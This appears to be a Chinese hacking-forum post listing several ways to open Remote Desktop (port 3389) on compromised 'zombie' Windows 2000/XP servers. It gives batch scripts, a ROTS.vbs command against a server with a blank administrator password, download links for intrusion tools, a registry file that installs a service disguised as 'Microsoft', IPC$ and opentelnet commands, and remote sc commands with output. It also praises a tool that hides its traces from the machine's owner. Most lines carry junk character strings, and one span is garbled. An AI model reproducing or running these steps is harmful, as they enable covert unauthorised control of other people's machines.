几种开3389端口的方法

[hide=60] 1.打开记事本，编辑内容如下： <GoUt
h.#  
echo [Components] > c:\sql hM~9p{O  
echo TSEnable = on >> c:\sql :o$k(X7a  
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q eSvS<\p  
编辑好后存为BAT文件，上传至肉鸡，执行。这里值得注意的是要确定winnt是否在c盘，如果在其他盘则需要改动。 b77
Iw%x7  
oujg( ^E  
2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05 |F)BKo D  
地址:www.netsill.com/rots.zip Le#>uWM  
使用方法： eZes) &4  
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如： m
$^Wyk}  
J^tLKTB  
c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项] !#l>+9  
AD_RU_a9  
服务端口： 设置终端服务的服务端口。默认是3389。 l{tpFu9v  
自动重起选项： 使用/r表示安装完成后自动重起目标使设置生效。 O_%X>Q9  
使用/fr表示强制重起目标。（如果/r不行，可以允哉飧觯?BR>使用此参数时，端口设置不能忽略。
\.c   
比如扫描到了一个有NT弱口令的服务器，IP地址是222.222.222.222，管理员帐户是administrator，密码为空 .U.Knn  
运行CMD（2000下的DOS），我们给它开终端！ &''lOS|  
命令如下！ 3^m0 k E
 
cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr wlc Cz  
上面的命令应该可以理解吧？cscript reg.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为222.222.222.222 这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以 /r，这是普通重启） gA0:qEL\  
F_>OpT  
脚本会判断目标系统类型，如果不是server及以上版本，就会提示你是否要取消。 cMxuG'{=.  
因为pro版不能安装终端服务。 -4du`dg  
如果你确信脚本判断错误，就继续安装好了。 \;&WF1d`ac  
W Z'UVUi8  
如果要对本地使用，IP地址为127.0.0.1或者一个点（用.表示），用户名和密码都为空（用""表示）。 v@_}R_pX  
%j3XoRex><  
脚本访问的目标的135端口，如果目标135端口未开放，或者WMI服务关闭，那么脚本就没用了。 Ox.6]W~  
AE`z~L,  
$['_m~ 2  
3，下载3389自动安装程序-djshao正式版5.0 !S6zC >  
地址www.netsill.com/djshao.zip xUT]6T0dB  
说明： o+{]&V->gN  
解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下，然后进入c:\ winnt\temp目录执行djxyxs.exe解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡会自动重启！重启后会出现终端服务！ a<%Ivqni  
Ql`N)!  
特点：1、不用修改注册表的安装路径，注册表会自动修改，安装完后会自动恢复到原来的安装路径，2、在后台安静模式运行，就算肉鸡旁有人也没有关系！3、在添加和删除中看不出终端服务被安装的痕迹，也就是启动终端前不会打钩，4、不会在肉鸡上留下你的上传文件，在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件！5、不管肉鸡的winnt装在什么盘上都无所谓！6、安装完终端后会删除在管理工具中的终端快捷图标！7、在没有安装终端前，终端服务是被禁止的！安装终端后，终端服务被改为自动！但是如果在安装前终端服务是手动！安装后就可能还是手动！等重启后就不会打开服务！所以在软件中加了sc指令，等安装完后，不管终端服务是禁止还是手动还是自动，全部改为自动。8、自动检测肉鸡是不是服务器版，如果不是删除原文件，不执行安装，如果是服务器版就执行安装！9、支持非法内容,请删除韩繁四个版本的win2000服务器版！ fTb&k;'LR<  
#mhR^60,  
"+SnHpNx  
4.下载DameWare NT Utilities 3.66.0.0 注册版 \F`%vZrKR  
地址www.netsill.com/dwmrcw36600.zip }HdibCAOf  
安装注册完毕后输入对方IP用户名密码，等待出现是否安装的对话框点是。 QD6<sw@]P  
复制启动后出现对方桌面。 klkshlk d  
在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入后在启动终端服务上打上勾。确定自动提示重起，重起后OK。 h-)tWJ c  
*F:f\9  
7p"4rL  
５. '3B"@^]  
-U&k%X   
首先我们制作开启3389的工具 5d?\>dA  
先把下面的注册表内容copy一份，另存为3389.reg注册表文件 N]yh8"7X  
注册表内容：  ! @EZ  
Windows Registry Editor Version 5.00 &y\7
pAT\  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] jVA|Vi_2  
"Enabled"="0" u!$+1fI>  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 90Rz#qrI*  
"ShutdownWithoutLogon"="0" bH6i1c8  
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] ScN'|Ia.-  
"EnableAdminTSRemote"=dword:00000001 {'O,G$Ldkr  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] lX g.`  
"TSEnabled"=dword:00000001 e,J q<=j  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] "d1~(0=6<m  
"Start"=dword:00000002 {lv@V*_Y0  
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] j
U~q~e7Te  
"Hotkey"="1" L!/Zw~  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] c, IAz  
"Start"=dword:00000002 @\ udaZc  
"ErrorControl"=dword:00000001 X*'i1)_h  
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ [g<rzhC~=  
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ } O:Y?Wq
^  
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 }:QQ{h_  
"ObjectName"="LocalSystem" pNt,RRoR  
"Type"=dword:00000010 `MD%VHQ9U  
"Description"="Microsoft" 5?] Dn k.o  
"DisplayName"="Microsoft" 0oT~6BGm  
再把下面的内容保存为批处理文件3389.bat *;E\,,Io  
安装批处理内容： x:wv#Wh:l7  
copy termsrv.exe eventlog.exe B EN U  
regedit.exe /s 3389.reg c&>S  
del 3389.reg l$1 ]  
del 3389.exe E@.daUoB  
del 3389.bat 9E`Laf  
用winrar制作成exe自解压缩包 LH_VdLds  
(^!$m7  
61.188.***.*** user:administrato pass:空 jWpm"C  
先使用工具letmein判断其操作系统 _bsAF^ ;  
letmein \\ip -all -d UnVYGch  
TsInternetUser (TsInternetUser)这个是2000的终端用户，现在可以判断其为2000server了 Ja4j7d1:  
再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 B>]4NF\)H9  
应该没有开启了 TUy 25E  
建立ipc连接 o5h*sQ9  
copy工具过去 k-CW?=  
net use \\ip\ipc$ "pass" /user:name a_
z1S Z2[  
copy file \\ip\admin$\system32 2E0A`  
用opentelnet开对方的telnet Z;'5A2  
opentelnet \\ip name pass 1 99 %fJ~3mu  
用telnet进入 _P}wO8  
进入到对方的winnt\system32\ O su 75@3  
目录 $^K12Wcp-  
解压缩3389.exe lVptA3
F  
运行安装批处理3389.bat xR~9|H9a  
现在我们把对方重起一下，用reboot jNbU{Z%r  
^55q~DP}>  
!(H RP9  
6<t<hP_3O  
xI>HY9i)  
7. S UBrFsA  
Z [Q jl*  
检查对方是否真的禁用了Terminal server y8.3tp  
C:\>sc \\xxx.xxx.xxx.xxx qc termservice k-jlYHsA  
[SC] GetServiceConfig SUCCESS 9z'(4U  
SERVICE_NAME: termservice *8%nbR  
TYPE : 10 WIN32_OWN_PROCESS qk}Mb_*C)  
START_TYPE : 4 DISABLED z*ly`-!  
ERROR_CONTROL : 1 NORMAL { POfT m}  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe Y@l>4q")  
LOAD_ORDER_GROUP : ;;>G}pG  
TAG : 0 G=(ja?d  
DISPLAY_NAME : Terminal Services j=kz^o~mH  
DEPENDENCIES : <lN=<9  
SERVICE_START_NAME : LocalSystem x'iBEm  
仔细看 START_TYPE一项，显示对方该服务的启动模式为“DISABLED”也就是“禁用”。 tBjMm8lgb  
Ewq7oq5:  
$?*XPzZ  
C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto $z,rN
\[  
[SC] ChangeServiceConfig SUCCESS 49!(Sa_]j  
好了，现在我们已经把对方终端服务的启动模式修改成自动了。 P0c6?K6 j  
fG"4\A  
kNg{  
 [1Q:  
再检查一便对方终端服务的启动模式 O*lMIWx  
C:\>sc \\TEST qc termservice HO}eu  
[SC] GetServiceConfig SUCCESS ]|8*l]oc  
SERVICE_NAME: termservice Sp-M:,H3H  
TYPE : 10 WIN32_OWN_PROCESS U6IvN@ g  
START_TYPE : 2 AUTO_START [M#I Nm}  
ERROR_CONTROL : 1 NORMAL SO+J5,)HA  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe JWsOze8#  
LOAD_ORDER_GROUP : 'GF<_3I2l  
TAG : 0 "ivSpec.V  
DISPLAY_NAME : Terminal Services ]N^>>k  
DEPENDENCIES : undH{w=
 
SERVICE_START_NAME : LocalSystem YgLHp/  
=`+c}i?  
[A
'9sxG  
ijeas<  
启动对方的终端服务 {fxytiH8  
C:\>sc \\xxx.xxx.xxx.xxx start termservice :F.eyA|#@G  
SERVICE_NAME: termservice 82P#C4c+d  
TYPE : 10 WIN32_OWN_PROCESS fq(3uE]nC  
STATE : 2 START_PENDING g0k{b  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) $h|8z  
WIN32_EXIT_CODE : 0 (0x0) 2#_i_j  
SERVICE_EXIT_CODE : 0 (0x0) 7Um3myXU  
CHECKPOINT : 0x1 2>F`H7W  
WAIT_HINT : 0x7530 \= 
G8  
#XeEpdE  
1$v1:6  
C:\>sc \\xxx.xxx.xxx.xxx query termservice 5e >qBw8t  
SERVICE_NAME: termservice 1#V&'A  
TYPE : 10 WIN32_OWN_PROCESS oTb4T=  
STATE : 4 RUNNING um=qT)/D  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) |>dqZ_)v  
WIN32_EXIT_CODE : 0 (0x0) K!O7q~s[D  
SERVICE_EXIT_CODE : 0 (0x0) !{S HlS  
CHECKPOINT : 0x0 'fka?lL  
WAIT_HINT : 0x0[/hide]